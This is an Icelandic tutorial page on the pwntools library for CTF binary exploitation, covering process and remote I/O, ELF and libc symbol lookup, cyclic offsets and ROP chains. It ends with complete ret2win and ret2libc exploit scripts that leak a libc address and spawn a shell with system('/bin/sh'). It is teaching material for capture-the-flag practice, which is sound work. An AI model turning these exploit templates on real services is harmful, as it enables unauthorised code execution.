Skip to content

pwntools

pwntools er Python bókasafn (e. library) hannað sérstaklega fyrir CTF og nýting tvíundaskráa (e. binary exploitation). Það gerir það mjög auðvelt að senda gögn til ferla (e. processes) eða netþjóna (e. servers), vinna með tvíundaskrár og smíða nýtingarkóða (e. exploits).

Uppsetning

pip install pwntools

Tengjast ferlum og þjónum

from pwn import *

# Keyra forrit á þinni vél
p = process('./challenge')

# Tengjast CTF þjóni yfir net
p = remote('chall.ctf.example', 1337)

# Keyra með GDB meðfylgjandi (opnar GDB í nýjum glugga)
p = gdb.debug('./challenge', 'break main\ncontinue')

Senda og taka á móti gögnum

# Senda
p.send(b'hello')          # Sendir bæti (engin ný lína)
p.sendline(b'hello')      # Sendir bæti + \n
p.sendlineafter(b':', b'hello')  # Bíður eftir ':' og sendir svo

# Taka á móti
data = p.recv(8)          # Les nákvæmlega 8 bæti
line = p.recvline()       # Les þar til \n
p.recvuntil(b'> ')        # Sleppir öllu þar til '> ' finnst
p.recvall()               # Les allt þar til forritið lokar

# Gagnvirkt (e. interactive): gefur þér skel (e. shell)
p.interactive()

Tip

Ef nýtingarkóðinn þinn virkar en þú færð enga skel, gleymdu ekki p.interactive() í lokin!

ELF: Vinna með tvíundaskrár

elf = ELF('./challenge')

# Vistfang falla og tákna (e. symbols)
print(hex(elf.sym['main']))       # vistfang main
print(hex(elf.sym['win']))        # vistfang win
print(hex(elf.plt['puts']))       # puts í PLT
print(hex(elf.got['puts']))       # puts í GOT

# Leita að streng í tvíundaskrá
addr = next(elf.search(b'/bin/sh'))

# Nota með ASLR (þegar PIE er virkt)
elf.address = 0x555555554000     # Setja base address eftir leak
print(hex(elf.sym['win']))        # Reiknar sjálfkrafa offset + base

libc

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Eftir leak:
libc.address = leak - libc.sym['puts']

system  = libc.sym['system']
binsh   = next(libc.search(b'/bin/sh'))

Pakka og opna gildi (e. pack/unpack)

# Pakkar vistfangi í lágenda bætaröð (e. little-endian)
p64(0x401234)        # 64-bit → b'\x34\x12\x40\x00\x00\x00\x00\x00'
p32(0x401234)        # 32-bit → b'\x34\x12\x40\x00'

# Opnar (e. unpack) bæti og breytir í vistfang
u64(b'\x34\x12\x40\x00\x00\x00\x00\x00')   # → 0x401234
u32(b'\x34\x12\x40\x00')                    # → 0x401234

# Fyllir upp (e. padding) í 8 bæti
u64(p.recv(6).ljust(8, b'\x00'))  # Algeng leið til að lesa 6-bæta leka

Cyclic: Finna offset

# Búa til mynstur sem er auðþekkjanlegt
pattern = cyclic(200)
p.sendline(pattern)
# → Forritið crashar, skoðaðu RSP í GDB

# Finna offset út frá gildinu í RSP
offset = cyclic_find(0x6161616261616161)  # Gildið sem GDB sýndi í RSP
print(offset)   # t.d. 72

ROP: Smíða ROP keðjur

rop = ROP(elf)

# Finna gadgets sjálfkrafa
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(p64(binsh_addr))
rop.raw(p64(system_addr))

payload = b'A' * offset + rop.chain()

Skráning (e. Logging)

log.info(f"puts @ {hex(leak)}")       # [*] puts @ 0x7f...
log.success(f"Shell obtained!")        # [+] Shell obtained!
log.warning("PIE enabled, need leak")  # [!] PIE enabled...

Heildardæmi: ret2win

from pwn import *

# Stillingar
context.binary = elf = ELF('./challenge')
context.log_level = 'info'   # Sýnir log skilaboð

p = process('./challenge')
# p = remote('chall.ctf.example', 1337)

# Finna offset
offset = 72

# Smíða payload
win_addr = elf.sym['win']
payload  = b'A' * offset + p64(win_addr)

# Senda
p.sendlineafter(b'input: ', payload)

# Fá shell
p.interactive()

Heildardæmi: ret2libc með leak

from pwn import *

context.binary = elf = ELF('./challenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./challenge')

offset    = 72
pop_rdi   = 0x401234
ret       = 0x401235
got_puts  = elf.got['puts']
plt_puts  = elf.plt['puts']
main      = elf.sym['main']

# === Leak ===
payload  = b'A' * offset
payload += p64(pop_rdi) + p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

p.sendlineafter(b'input: ', payload)
p.recvline()   # Sleppa fyrstu línu ef þarf

leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info(f"puts @ {hex(leak)}")

libc.address = leak - libc.sym['puts']
log.info(f"libc base @ {hex(libc.address)}")

# === Shell ===
system = libc.sym['system']
binsh  = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)        # 16-byte alignment
payload2 += p64(pop_rdi) + p64(binsh)
payload2 += p64(system)

p.sendlineafter(b'input: ', payload2)
p.interactive()